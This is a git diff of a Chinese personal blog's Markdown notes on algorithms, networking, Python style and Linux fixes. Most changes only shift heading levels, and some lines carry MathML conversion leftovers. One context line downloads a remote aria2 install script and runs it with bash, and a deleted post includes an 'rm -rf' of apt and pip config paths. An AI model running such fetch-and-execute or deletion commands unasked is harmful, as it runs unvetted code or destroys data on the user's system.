@@ -480,7 +480,7 @@ typedef struct TBTNode
**思路:**
左线索指针指向当前结点在中序遍历序列中的前驱结点,右线索指针指向后继结点;
定义一个p指针指向当前正在访问的结点,pre指向p的前驱结点(prior),p的左线索如果存在则让其指向pre,pre的右线索如果存在,则让其指向p。
当p要离开一个访问的结点时,pre指向p,当p来到一个新结点时,pre指向此时p所指结点的前驱结点。
-## 2.具体算法描述
+### 2.具体算法描述
```
//1.中序遍历对二叉树进行线索化算法
@@ -629,27 +629,27 @@ void postThread(TBTNode *p,TBTNode *&pre)
*/
```
-# 六、相关树的转换和概念描述
+## 六、相关树的转换和概念描述
-## 1.树与二叉树的转换
+### 1.树与二叉树的转换
>
-## 2.森林和二叉树的转换
+### 2.森林和二叉树的转换
>
-## 3.树与森林的遍历
+### 3.树与森林的遍历
>
-## 4.赫夫曼树和赫夫曼编码
+### 4.赫夫曼树和赫夫曼编码
>
diff --git a/blog/ds19991999/原创-- 第四章 串.md b/blog/ds19991999/原创-- 第四章 串.md
index eefb533..b63ec98 100644
--- a/blog/ds19991999/原创-- 第四章 串.md
+++ b/blog/ds19991999/原创-- 第四章 串.md
@@ -3,9 +3,9 @@
# 第四章 串
-# 一、串数据类型的定义
+## 一、串数据类型的定义
-## 1.定义和存储结构
+### 1.定义和存储结构
```
char str[]="abcdef";
@@ -23,7 +23,7 @@ typedef struct
}Str;
```
-## 2.串的基本操作
+### 2.串的基本操作
```
//1.赋值
@@ -148,9 +148,9 @@ int clearstring(Str& str)
}
```
-# 二、串的模式匹配算法
+## 二、串的模式匹配算法
-## 1.简单模式匹配算法
+### 1.简单模式匹配算法
```
//对一个串中的定位操作称为串的模式匹配
@@ -176,7 +176,7 @@ int index(Str str,Str substr)
}
```
-## 2.KMP算法
+### 2.KMP算法
```
//思路:每当发生模式串不匹配的情况,先找出发生不匹配的字符pj,取其子串F=p1p2p3...Pj-1
@@ -217,7 +217,7 @@ int KMP(Str str, Str substr, int next[])
}
```
-## 3.KMP算法的改进
+### 3.KMP算法的改进
```
//当j=1时,nextva[j]=0,作为特殊标记
diff --git a/blog/ds19991999/原创-- 算法图解笔记.md b/blog/ds19991999/原创-- 算法图解笔记.md
index 2a4d4f4..8bf78c3 100644
--- a/blog/ds19991999/原创-- 算法图解笔记.md
+++ b/blog/ds19991999/原创-- 算法图解笔记.md
@@ -3,36 +3,36 @@
# 算法图解笔记
-### 目录
+#### 目录
-## 算法简介
+### 算法简介
-二分法查找,输入一个**有序列表**,返回元素位置或null。
一般而言,对于包含n个元素的列表,用二分法查找最多需要
-
+二分法查找,输入一个**有序列表**,返回元素位置或null。
一般而言,对于包含n个元素的列表,用二分法查找最多需要
- l
-
- o
-
-
-
- g
-
-
- 2
+ l
+ o
+
+
+
+ g
+
+
+ 2
+
+
- n
+ n
+
+ log_2 n
+
- log_2 n
-
-
log2n
```
@@ -54,7 +54,7 @@ def binary_search(list, item):
[binary_search.py](binary_search.py)
-## 选择排序
+### 选择排序
由于数组的结构在内存中是连续的,添加新元素十分麻烦,链表的优势在于插入新元素;
数组的优势在于元素的随机访问。也就是说**数组和链表在插入和读取元素的时间复杂度刚好互补**。
[selectSort](selectSort.py)
@@ -91,35 +91,35 @@ def selectSort2(arr):
```
-时间复杂度为
-
+时间复杂度为
- O
-
- (
-
-
-
- n
-
-
- 2
+ O
+ (
+
+
+
+ n
+
+
+ 2
+
+
- )
+ )
+
+ O(n^2)
+
- O(n^2)
-
-
O(n2)
-## 递归
+### 递归
>
递归函数要有基线条件和递归条件,否则会无限循环.
@@ -134,11 +134,11 @@ def fact(x):
```
-## 快速排序
+### 快速排序
快速排序是分而治之的策略[quickSort](quickSort.py)
-### 分而治之
+#### 分而治之
```
def quickSort(arr):
@@ -179,7 +179,7 @@ def quickSort2(arr, left, right):
```
-## 散列表
+### 散列表
散列函数将输入映射到数字。它必须是一致的;它将不同的输入映射到不同的数字。Python实现了散列表的实现——字典。
散列表是提供DNS解析这种功能的方式之一。
@@ -216,51 +216,51 @@ def get_page(url):
填装因子=散列表包含的元素数/位置总数,一旦填充因子大于0.7,就开始调整撒列表长度。
-在平均条件下,散列表的时间复杂度为
-
+在平均条件下,散列表的时间复杂度为
- O
+ O
+
- (
+ (
+
+ 1
+
- 1
-
-
- )
+ )
+
+ O(1)
+
- O(1)
-
-
- O(1),在最糟糕的情况下,时间复杂度为
-
+ O(1),在最糟糕的情况下,时间复杂度为
- O
+ O
+
- (
+ (
+
+ n
+
- n
-
-
- )
+ )
+
+ O(n)
+
- O(n)
-
-
O(n)
-## 广度优先搜索
+### 广度优先搜索
图由节点——边组成。可以通过散列表将节点映射到其所有邻居,散列表是无序的。
@@ -312,36 +312,36 @@ def search(name):
```
-时间复杂度为
-
+时间复杂度为
- O
+ O
+
- (
+ (
+
+ V
+
- V
+ +
+
+ E
+
- +
-
-
- E
-
-
- )
+ )
+
+ O(V+E)
+
- O(V+E)
-
-
O(V+E)边数和人数
-## 狄克斯特拉算法
+### 狄克斯特拉算法
```
def find_lowest_cost_node(costs):
@@ -357,12 +357,12 @@ def find_lowest_cost_node(costs):
```
-## 贪婪算法
+### 贪婪算法
就是每步都选择最优解,最终得到全局的最优解。
-### NP完全问题
+#### NP完全问题
-## 动态规划
+### 动态规划
与上一章对应,贪婪算法得到的可能不是最优解,而动态规划可以得到最优解。动态规划先解决子问题,再逐步解决大问题。
diff --git a/blog/ds19991999/原创-- 统计学习方法_第一章.md b/blog/ds19991999/原创-- 统计学习方法_第一章.md
index 6306c0b..f71e60c 100644
--- a/blog/ds19991999/原创-- 统计学习方法_第一章.md
+++ b/blog/ds19991999/原创-- 统计学习方法_第一章.md
@@ -3,22 +3,22 @@
# 统计学习方法_第一章
-# **一、统计学习**
+## **一、统计学习**
-# **二、监督学习**
+## **二、监督学习**
-# **三、统计学习三要素**
+## **三、统计学习三要素**
-# **四、模型评估与模型选择**
+## **四、模型评估与模型选择**
-# **五、正则化与交叉验证**
+## **五、正则化与交叉验证**
-# **六、泛化能力**
+## **六、泛化能力**
-# **七、生成模型和判别模型**
+## **七、生成模型和判别模型**
-# **八、分类问题**
+## **八、分类问题**
-# **九、标注问题**
+## **九、标注问题**
-# **十、回归问题**
+## **十、回归问题**
diff --git a/blog/ds19991999/原创-- 解决AppImage 程序没有正确显示图标.md b/blog/ds19991999/原创-- 解决AppImage 程序没有正确显示图标.md
index ba5c5d7..5a859ef 100644
--- a/blog/ds19991999/原创-- 解决AppImage 程序没有正确显示图标.md
+++ b/blog/ds19991999/原创-- 解决AppImage 程序没有正确显示图标.md
@@ -5,7 +5,7 @@
AppImage是一种在 Linux系统中用于分发便携式软件而不需要超级用户权限来安装它们的格式。它还试图让允许Linux的上游开发者来分发他们的程序而不用考虑不同Linux发行版间的区别。
-## 特点
+### 特点
AppImage不把Linux应用程序安装在文件系统相应的目录中。相反,它没有进行实际的安装。AppImage文件只是个压缩文件,在它运行时候挂载。
@@ -13,7 +13,7 @@ AppImage不把Linux应用程序安装在文件系统相应的目录中。相反,
用AppImage文件比安装一个应用程序更加简单。它不需要解压也不需要为系统环境做调整。使用主流Linux发行版的用户可以下载它,使其可执行,并且运行即可。
-## 解决图标显示问题
+### 解决图标显示问题
```
/home/$USERNAME/.config/ # 这个目录中是一些配置文件
diff --git a/blog/ds19991999/原创-- 解决ubuntu系统的terminal无法获得锁.md b/blog/ds19991999/原创-- 解决ubuntu系统的terminal无法获得锁.md
index 4838967..f895b6b 100644
--- a/blog/ds19991999/原创-- 解决ubuntu系统的terminal无法获得锁.md
+++ b/blog/ds19991999/原创-- 解决ubuntu系统的terminal无法获得锁.md
@@ -3,7 +3,7 @@
# 解决ubuntu系统的terminal无法获得锁
-## 描述
+### 描述
我们在Ubuntu中运行命令有时会遇到卡顿的情况,这时候我们不少伙伴等得不耐烦了九直接关掉类终端,但是由于卡顿,后台还在运行中,这就导致我们再次运行命令行时出现以下提示:
@@ -14,7 +14,7 @@
这是由于我们在未完成下载的情况下将窗口关闭, 但是apt-get进程并没有结束!所以它九一直占用dpkg锁,之前的任务任务完成不了,新任务又不能运行,很是难受。
-## 解决
+### 解决
输入 `ps aux` ,列出正在运行的进程。找到相应的进程(如含有apt-get的进程)并杀掉,再执行
diff --git a/blog/ds19991999/原创-- 解决套路云Debian新机update的时候出现Waiting for headers和404错误.md b/blog/ds19991999/原创-- 解决套路云Debian新机update的时候出现Waiting for headers和404错误.md
deleted file mode 100644
index 4d36d9f..0000000
--- a/blog/ds19991999/原创-- 解决套路云Debian新机update的时候出现Waiting for headers和404错误.md
+++ /dev/null
@@ -1,36 +0,0 @@
-# 原创
-: 解决套路云Debian新机update的时候出现Waiting for headers和404错误
-
-# 解决套路云Debian新机update的时候出现Waiting for headers和404错误
-
-```
-rm -rf /root/.pip /root/.pydistutils.cfg /etc/apt/sources.list.d/sources-aliyun-0.list /etc/apt/sources.list.d/sources-aliyun* /var/lib/apt/lists/*
-
-```
-
-```
-deb http://mirrors.cloud.aliyuncs.com/debian/ jessie main contrib non-free
-deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie main contrib non-free
-deb http://mirrors.cloud.aliyuncs.com/debian/ jessie-proposed-updates main non-free contrib
-deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie-proposed-updates main non-free contrib
-deb http://mirrors.cloud.aliyuncs.com/debian/ jessie-updates main contrib non-free
-deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie-updates main contrib non-free
-
-## Uncomment the following two lines to add software from the 'backports'
-## repository.
-##
-## N.B. software from this repository may not have been tested as
-## extensively as that contained in the main release, although it includes
-## newer versions of some applications which may provide useful features.
-#deb http://mirrors.cloud.aliyuncs.com/debian/ jessie-backports main contrib non-free
-#deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie-backports main contrib non-free
-
-```
-
-```
-apt-get clean
-apt-get update
-
-```
-
-套路云还是套路云,服气!!!
diff --git a/blog/ds19991999/原创-- 资源分享.md b/blog/ds19991999/原创-- 资源分享.md
index b2afb94..7698d0f 100644
--- a/blog/ds19991999/原创-- 资源分享.md
+++ b/blog/ds19991999/原创-- 资源分享.md
@@ -3,11 +3,11 @@
# 资源分享
-### 文章目录
+#### 文章目录
-## 网址
+### 网址
-## `File Browser`
+### `File Browser`
利用`Caddy`以及它的一个扩展`FileBrowser`,测试密码用户名为`2333`,提供指定`VPS`的文件夹管理界面,可用于浏览器直接上传/下载/删除/预览和重命名等该目录中的文件,支持在线观看视频,编辑文件。利用好的话可以当作私人·网盘用,下面会说明为什么这么说。
@@ -15,30 +15,30 @@
其余几个小站都是通过类似的方式建成,不再细说。
-## PHPSound
+### PHPSound
在线音乐分享平台。
-## PyOne
+### PyOne
一个将`OneDrive`利用的非常好的服务器应用,让`OneDrive`文件的分享变得非常容易。
-## ShareList
+### ShareList
一个将无限空间的`GoogleDrive`利用的非常好的服务器应用,并且可以通过下面这个`AriaN`实现离线下载文件到`GoogleDrive`。
-## AriaNg
+### AriaNg
`AriaNg`大家应该都不陌生,我就不说了。
-## AVS分享站点
+### AVS分享站点
一个在线视频图片游戏分享社区。
-## Plex
+### Plex
一个私人影院的服务器应用,并且有跨平台的客户端。
当然还有很多服务器方面的应用值得一玩,服务器配置和存储是硬伤,存储可以通过挂载网盘解决,配置就无能为力了,不过像`Digital Ocean`、`GCP` 、`AWS` 、 `Azure`等等这些大厂,都是可以白嫖一段时间的。也就是说,可以通过免费的方式获取无限存储空间的`Google Drive`、`5T的OneDrive`、`永久订阅的桌面Offce365`(那些吹`office2016` `office2019`的都是小白),以及可以白嫖的一年`me`域名,稳定的`VPS`.
-## 联系我
+### 联系我
diff --git a/blog/ds19991999/原创-- 转存百度盘到gd-od的解决方案.md b/blog/ds19991999/原创-- 转存百度盘到gd-od的解决方案.md
index 0dd6fd6..8098f72 100644
--- a/blog/ds19991999/原创-- 转存百度盘到gd-od的解决方案.md
+++ b/blog/ds19991999/原创-- 转存百度盘到gd-od的解决方案.md
@@ -5,7 +5,7 @@
**首页:**[HomePage](https://telegra.ph/HomePage-01-03)
[https://telegra.ph/Fuck-PanBaidu-02-19](https://telegra.ph/Fuck-PanBaidu-02-19)
[https://graph.org/Fuck-PanBaidu-02-19](https://graph.org/Fuck-PanBaidu-02-19)
-### 一、安装aria2
+#### 一、安装aria2
```
wget -N https://git.io/aria2.sh && chmod +x aria2.sh && bash aria2.sh
@@ -26,7 +26,7 @@ wget -N https://git.io/aria2.sh && chmod +x aria2.sh && bash ari
默认下载目录:/root/Download
-### 二、aria2离线gd/od方案
+#### 二、aria2离线gd/od方案
1、安装rclone
@@ -73,7 +73,7 @@ on-download-complete=/root/.aria2/autoupload.sh
下载的文件会自动上传到gd/od
-### 三、利用第三方百度盘
+#### 三、利用第三方百度盘
这里推荐速盘,可惜PanDownload没有开放aria2配置
@@ -89,7 +89,7 @@ on-download-complete=/root/.aria2/autoupload.sh
于是就可以把你的百度网盘文件直接下载到gd/od中了。
-### 四、效果图
+#### 四、效果图
1.使用AriaNG面板下载文件到VPS,利用**autoupload.sh脚本实现gd离线下载电影**
diff --git a/blog/ds19991999/转载-- Best Windows App.md b/blog/ds19991999/转载-- Best Windows App.md
index 0c7c471..0c74da0 100644
--- a/blog/ds19991999/转载-- Best Windows App.md
+++ b/blog/ds19991999/转载-- Best Windows App.md
@@ -9,9 +9,9 @@
Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windows 始终是第一生产力工具,对很多人而言是无可替代的一款产品。如何更加优雅地使用这款朝夕相伴的操作系统?于是有了这个项目,希望能收集和分享 Windows 下那些体验出色、不可或缺的优秀应用。
-# 目录
+## 目录
1. [效率类](#1-%E6%95%88%E7%8E%87%E7%B1%BB)1. [工具类](#2-%E5%B7%A5%E5%85%B7%E7%B1%BB)1. [开发类](#3-%E5%BC%80%E5%8F%91%E7%B1%BB)1. [设计类](#4-%E8%AE%BE%E8%AE%A1%E7%B1%BB)1. [娱乐类](#5-%E5%A8%B1%E4%B9%90%E7%B1%BB)
-# 1. 效率类
+## 1. 效率类
**——也许会成为你日常使用的 App**
@@ -38,7 +38,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
-# 2. 工具类
+## 2. 工具类
**——收集起来以备不时之需**
@@ -52,7 +52,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
-# 3. 开发类
+## 3. 开发类
|名称|推荐理由|授权方式|相关链接
|------
@@ -73,7 +73,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
-# 4. 设计类
+## 4. 设计类
|名称|推荐理由|授权方式|相关链接
|------
@@ -82,7 +82,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
-# 5. 娱乐类
+## 5. 娱乐类
|名称|推荐理由|授权方式|相关链接
|------
diff --git a/blog/ds19991999/转载-- PEP 8风格指南.md b/blog/ds19991999/转载-- PEP 8风格指南.md
index ed9c23e..f076d1b 100644
--- a/blog/ds19991999/转载-- PEP 8风格指南.md
+++ b/blog/ds19991999/转载-- PEP 8风格指南.md
@@ -3,17 +3,17 @@
# PEP 8风格指南
-## PEP 8风格指南
+### PEP 8风格指南
-### 文章目录
+#### 文章目录
-### 空格的使用
+#### 空格的使用
1. 使用空格来表示缩进而不要用制表符(Tab)。这一点对习惯了其他编程语言的人来说简直觉得不可理喻,因为绝大多数的程序员都会用Tab来表示缩进,但是要知道Python并没有像C/C++或Java那样的用花括号来构造一个代码块的语法,在Python中分支和循环结构都使用缩进来表示哪些代码属于同一个级别,鉴于此Python代码对缩进以及缩进宽度的依赖比其他很多语言都强得多。在不同的编辑器中,Tab的宽度可能是2、4或8个字符,甚至是其他更离谱的值,用Tab来表示缩进对Python代码来说可能是一场灾难。1. 和语法相关的每一层缩进都用4个空格来表示。1. 每行的字符数不要超过79个字符,如果表达式因太长而占据了多行,除了首行之外的其余各行都应该在正常的缩进宽度上再加上4个空格。1. 函数和类的定义,代码前后都要用两个空行进行分隔。1. 在同一个类中,各个方法之间应该用一个空行进行分隔。1. 二元运算符的左右两侧应该保留一个空格,而且只要一个空格就好。
-### 标识符命名
+#### 标识符命名
PEP 8倡导用不同的命名风格来命名Python中不同的标识符,以便在阅读代码时能够通过标识符的名称来确定该标识符在Python中扮演了怎样的角色(在这一点上,Python自己的内置模块以及某些第三方模块都做得并不是很好)。
1. 变量、函数和属性应该使用小写字母来拼写,如果有多个单词就使用下划线进行连接。1. 类中受保护的实例属性,应该以一个下划线开头。1. 类中私有的实例属性,应该以两个下划线开头。1. 类和异常的命名,应该每个单词首字母大写。1. 模块级别的常量,应该采用全大写字母,如果有多个单词就用下划线进行连接。1. 类的实例方法,应该把第一个参数命名为`self`以表示对象自身。1. 类的类方法,应该把第一个参数命名为`cls`以表示该类自身。
-### 表达式和语句
+#### 表达式和语句
在Python之禅(可以使用`import this`查看)中有这么一句名言:“There should be one-- and preferably only one --obvious way to do it.”,翻译成中文是“做一件事应该有而且最好只有一种确切的做法”,这句话传达的思想在PEP 8中也是无处不在的。
1. 采用内联形式的否定词,而不要把否定词放在整个表达式的前面。例如`if a is not b`就比`if not a is b`更容易让人理解。1. 不要用检查长度的方式来判断字符串、列表等是否为`None`或者没有元素,应该用`if not x`这样的写法来检查它。1. 就算`if`分支、`for`循环、`except`异常捕获等中只有一行代码,也不要将代码和`if`、`for`、`except`等写在一起,分开写才会让代码更清晰。1. `import`语句总是放在文件开头的地方。1. 引入模块的时候,`from math import sqrt`比`import math`更好。1. 如果有多个`import`语句,应该将其分为三部分,从上到下分别是Python标准模块、第三方模块和自定义模块,每个部分内部应该按照模块名称的字母表顺序来排列。
diff --git a/blog/ds19991999/转载-- TCP-IP协议.md b/blog/ds19991999/转载-- TCP-IP协议.md
index 13d3ee1..1185119 100644
--- a/blog/ds19991999/转载-- TCP-IP协议.md
+++ b/blog/ds19991999/转载-- TCP-IP协议.md
@@ -3,7 +3,7 @@
# TCP/IP协议
-## TCP/IP协议
+### TCP/IP协议
TCP/IP不是一个协议,而是一个协议族的统称。里面包括IP协议、IMCP协议、TCP协议。
@@ -17,15 +17,15 @@ TCP/IP分层:
数据链路层从ARP得到数据的传递信息,再从IP得到具体的数据信息
-## IP协议
+### IP协议
IP协议头当中,最重要的就是TTL(IP允许通过的最大网段数量)字段(八位),规定该数据包能穿过几个路由之后才会被抛弃。
-## IP路由选择
+### IP路由选择
-## ARP协议工作原理
+### ARP协议工作原理
-## ICMP协议(网络控制文协议)
+### ICMP协议(网络控制文协议)
将IP数据包不能传送的错误信息传送给主机
@@ -35,27 +35,27 @@ IP协议头当中,最重要的就是TTL(IP允许通过的最大网段数量
不产生的情况:
1. ICMP差错报文不产生差错报文1. 源地址为零地址、环目地址、广播地址、多播地址
-## IP路由器选择协议
+### IP路由器选择协议
-### 静态路由选择
+#### 静态路由选择
先来看路由选择工作流程:
1. 配置接口以默认方式生成路由表项,或者使用route add手动添加表项1. ICMP报文(ICMP重定向报文)更新表项1. 动态路由选择(只使用在路由之间)
-### RIP(路由信息协议)
+#### RIP(路由信息协议)
分布式的基于距离向量(路由器到每一个目的网络的距离记录)的路由选择协议
router承担的工作:
1. 给每一个已知路由器发送RIP请求报文,要求给出完整的路由表1. 如果接受请求,就将自己的路由表交给请求者;如果没有,就处理IP请求表项(自己部分+跳数/没有的部分+16)1. 接受回应,更新路由表1. 定期更新路由表(一般为30s,只能说太频繁~)
-### OSPF(开放最短路径优先协议)
+#### OSPF(开放最短路径优先协议)
分布式链路状态(和这两个路由器都有接口的网络)协议
1. 当链路状态发生变化时,采用可靠的洪泛法,向所有的路由器发送信息(相邻的所有路由器的链路状态)1. 最终会建立一个全网的拓扑结构图
-### TCP/IP的三次握手,四次分手
+#### TCP/IP的三次握手,四次分手
首先我们先来了解TCP报文段:
-### 三次握手的过程
+#### 三次握手的过程
客户端我们用A表示,服务器端用B表示,前提:A主动打开,B被动打开。
1. 在建立连接之前,B先创建TCB(传输控制块),准备接受客户进程的连接请求,处于LISTEN(监听)状态1. A首先创建TCB,然后向B发出连接请求,SYN置1,同时选择初始序号seq=x,进入SYN-SEND(同步已发送)状态1. B收到连接请求后向A发送确认,SYN置1,ACK置1,同时产生一个确认序号ack=x+1。同时随机选择初始序号seq=y,进入SYN-RCVD(同步收到)状态1. A收到确认连接请求后,ACK置1,确认号ack=y+1,seq=x+1,进入到ESTABLISHED(已建立连接)状态。向B发出确认连接,最后B也进入到ESTABLISHED(已建立连接)状态。
@@ -65,7 +65,7 @@ router承担的工作:
在三次握手过程中,Server发送SYN-ACK之后,收到Client的ACK之前的TCP连接称为半连接(half-open connect),此时Server处于SYN_RCVD状态,当收到ACK后,Server转入ESTABLISHED状态。SYN攻击就是 Client在短时间内伪造大量不存在的IP地址,并向Server不断地发送SYN包,Server回复确认包,并等待Client的确认,由于源地址 是不存在的,因此,Server需要不断重发直至超时,这些伪造的SYN包将产时间占用未连接队列,导致正常的SYN请求因为队列满而被丢弃,从而引起网 络堵塞甚至系统瘫痪。SYN攻击时一种典型的DDOS攻击,检测SYN攻击的方式非常简单,即当Server上有大量半连接状态且源IP地址是随机的,则可以断定遭到SYN攻击了,使用如下命令可以让之现行: `#netstat -nap | grep SYN_RECV`
-### 四次分手的过程
+#### 四次分手的过程
客户端我们用A表示,服务器端用B表示。由于TCP连接时是全双工的,因此每个方向都必须单独进行关闭。这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的链接。收到一个FIN只是意味着这一方向上没有数据流动,既不会在收到数据,但是在这个TCP连接上仍然能够发送数据,知道这一方向也发送了FIN,首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭。
@@ -79,9 +79,9 @@ router承担的工作:
1. 客户端A发送一个FIN,用来关闭客户A到服务器B的数据传送(报文段4)。1. 服务器B收到这个FIN,它发回一个ACK,确认序号为收到的序号加1(报文段5)。和SYN一样,一个FIN将占用一个序号。1. 服务器B关闭与客户端A的连接,发送一个FIN给客户端A(报文段6)。1. 客户端A发回ACK报文确认,并将确认序号设置为收到序号加1(报文段7)。
A在进入到TIME-WAIT状态后,并不会马上释放TCP,必须经过时间等待计时器设置的时间2MSL(最长报文段寿命),A才进入到CLOSED状态。为什么?
1. 为了保证A发送的最后一个ACK报文段能够到达B1. 防止“已失效的连接请求报文段”出现在本连接中
-## 总结
+### 总结
-### 三次握手流程
+#### 三次握手流程
1. 客户端发个请求“开门呐,我要进来”给服务器1. 服务器发个“进来吧,我去给你开门”给客户端1. 客户端有很客气的发个“谢谢,我要进来了”给服务器
-### 四次挥手流程
+#### 四次挥手流程
1. 客户端发个“时间不早了,我要走了”给服务器,等服务器起身送他1. 服务器听到了,发个“我知道了,那我送你出门吧”给客户端,等客户端走1. 服务器把门关上后,发个“我关门了”给客户端,然后等客户端走(尼玛~矫情啊)1. 客户端发个“我知道了,我走了”,之后自己就走了。
\ No newline at end of file
diff --git a/blog/ds19991999/转载-- 互联网协议入门.md b/blog/ds19991999/转载-- 互联网协议入门.md
index 3f136a5..5b98e22 100644
--- a/blog/ds19991999/转载-- 互联网协议入门.md
+++ b/blog/ds19991999/转载-- 互联网协议入门.md
@@ -5,9 +5,9 @@
互联网的核心是一系列协议,总称为”互联网协议”(Internet Protocol Suite)。它们对电脑如何连接和组网,做出了详尽的规定。理解了这些协议,就理解了互联网的原理。
-## 概述
+### 概述
-### 五层模型
+#### 五层模型
互联网的实现,分成好几层。每一层都有自己的功能,就像建筑物一样,每一层都靠下一层支持。
@@ -15,25 +15,25 @@
如何分层有不同的模型,有的模型分七层,有的分四层。我觉得,把互联网分成五层,比较容易解释。
如上图所示,最底下的一层叫做”实体层”(Physical Layer),最上面的一层叫做”应用层”(Application Layer),中间的三层(自下而上)分别是”链接层”(Link Layer)、”网络层”(Network Layer)和”传输层”(Transport Layer)。越下面的层,越靠近硬件;越上面的层,越靠近用户。
-### 层与协议
+#### 层与协议
每一层都是为了完成一种功能。为了实现这些功能,就需要大家都遵守共同的规则。大家都遵守的规则,就叫做”协议”(protocol)。
互联网的每一层,都定义了很多协议。这些协议的总称,就叫做”互联网协议”(Internet Protocol Suite)。它们是互联网的核心,下面介绍每一层的功能,主要就是介绍每一层的主要协议。
-## 实体层(物理层)
+### 实体层(物理层)
电脑要组网,第一件事要干什么?当然是先把电脑连起来,可以用光缆、电缆、双绞线、无线电波等方式。
这就叫做”实体层”,它就是把电脑连接起来的物理手段。它主要规定了网络的一些电气特性,作用是负责传送0和1的电信号。
-## 链接层
+### 链接层
-### 定义
+#### 定义
单纯的0和1没有任何意义,必须规定解读方式:多少个电信号算一组?每个信号位有何意义?这就是”链接层”的功能,它在”实体层”的上方,确定了0和1的**分组方式。**
-### 以太网协议
+#### 以太网协议
早期的时候,每家公司都有自己的电信号分组方式。逐渐地,一种叫做”以太网”(Ethernet)的协议,占据了主导地位。
@@ -43,7 +43,7 @@
“标头”的长度,固定为18字节。”数据”的长度,最短为46字节,最长为1500字节。因此,整个”帧”最短为64字节,最长为1518字节。如果数据很长,就必须分割成多个帧进行发送。
-### MAC地址
+#### MAC地址
上面提到,以太网数据包的”标头”,包含了发送者和接受者的信息。那么,发送者和接受者是如何标识呢?
@@ -53,7 +53,7 @@
**前6个十六进制数是厂商编号,后6个是该厂商的网卡流水号。有了MAC地址,就可以定位网卡和数据包的路径了。**
-### 广播
+#### 广播
定义地址只是第一步,后面还有更多的步骤。
@@ -69,9 +69,9 @@
有了**数据包的定义、网卡的MAC地址、广播的发送方式**,”链接层”就可以在多台计算机之间传送数据了。
-## 网络层
+### 网络层
-### 网络层的由来
+#### 网络层的由来
以太网协议,依靠MAC地址发送数据。理论上,单单依靠MAC地址,上海的网卡就可以找到洛杉矶的网卡了,技术上是可以实现的。
@@ -85,7 +85,7 @@
网络地址帮助我们确定计算机所在的子网络,MAC地址则将数据包送到该子网络中的目标网卡。因此,从逻辑上可以推断,必定是先处理网络地址,然后再处理MAC地址。
-### IP协议
+#### IP协议
**规定网络地址的协议,叫做IP协议**。它所定义的地址,就被称为IP地址。
@@ -107,7 +107,7 @@
总结一下,IP协议的作用主要有两个,**一个是为每一台计算机分配IP地址,另一个是确定哪些地址在同一个子网络。**
-### IP数据包
+#### IP数据包
根据IP协议发送的数据,就叫做IP数据包。不难想象,其中必定包括IP地址信息。
@@ -119,7 +119,7 @@
**“标头”部分主要包括版本、长度、IP地址等信息,”数据”部分则是IP数据包的具体内容。**它放进以太网数据包后,以太网数据包就变成了下面这样。
-### ARP协议
+#### ARP协议
因为IP数据包是放在以太网数据包里发送的,所以我们必须同时知道两个地址,一个是对方的MAC地址,另一个是对方的IP地址。通常情况下,对方的IP地址是已知的(后文会解释),但是我们不知道它的MAC地址。
@@ -131,9 +131,9 @@
总之,有了**ARP协议之后,我们就可以得到同一个子网络内的主机MAC地址,可以把数据包发送到任意一台主机之上了。**
-### 传输层
+#### 传输层
-### 传输层的由来
+#### 传输层的由来
有了MAC地址和IP地址,我们已经可以在互联网上任意两台主机上建立通信。
@@ -145,7 +145,7 @@
“传输层”的功能,就是建立**“端口到端口”的通信**。相比之下,”网络层”的功能是建立**“主机到主机”的通信**。只要确定主机和端口,我们就能实现程序之间的交流。因此,Unix系统就把**主机+端口,叫做”套接字”(socket)**。有了它,就可以进行网络应用程序开发了。
-### UDP协议
+#### UDP协议
现在,我们必须在数据包中加入端口信息,这就需要新的协议。最简单的实现叫做UDP协议,它的格式几乎就是在数据前面,加上端口号。
@@ -155,7 +155,7 @@ UDP数据包,也是由”标头”和”数据”两部分组成。
UDP数据包非常简单,”标头”部分一共只有8个字节,总长度不超过65,535字节,正好放进一个IP数据包。
-### TCP协议
+#### TCP协议
UDP协议的优点是比较简单,容易实现,但是缺点是可靠性较差,一旦数据包发出,无法知道对方是否收到。
@@ -165,7 +165,7 @@ UDP协议的优点是比较简单,容易实现,但是缺点是可靠性较
TCP数据包和UDP数据包一样,都是内嵌在IP数据包的”数据”部分。TCP数据包没有长度限制,理论上可以无限长,但是为了保证网络的效率,通常TCP数据包的长度不会超过IP数据包的长度,以确保单个TCP数据包不必再分割。
-## 应用层
+### 应用层
应用程序收到”传输层”的数据,接下来就要进行解读。由于互联网是开放架构,数据来源五花八门,必须事先规定好格式,否则根本无法解读。
diff --git a/blog/ds19991999/转载-- 关于Python的面试题.md b/blog/ds19991999/转载-- 关于Python的面试题.md
index 9dd0c3b..4244375 100644
--- a/blog/ds19991999/转载-- 关于Python的面试题.md
+++ b/blog/ds19991999/转载-- 关于Python的面试题.md
@@ -3,11 +3,11 @@
# 关于Python的面试题
-# 目录
+## 目录
-# Python语言特性
+## Python语言特性
-## 1 Python的函数参数传递
+### 1 Python的函数参数传递
看两个例子:
@@ -64,11 +64,11 @@ print a # [1]
如果还不明白的话,这里有更好的解释: [http://stackoverflow.com/questions/986006/how-do-i-pass-a-variable-by-reference](http://stackoverflow.com/questions/986006/how-do-i-pass-a-variable-by-reference)
-## 2 Python中的元类(metaclass)
+### 2 Python中的元类(metaclass)
这个非常的不常用,但是像ORM这种复杂的结构还是会需要的,详情请看:[http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python](http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python)
-## 3 @staticmethod和@classmethod
+### 3 @staticmethod和@classmethod
Python其实有3个方法,即静态方法(staticmethod),类方法(classmethod)和实例方法,如下:
@@ -103,7 +103,7 @@ a=A()
更多关于这个问题:
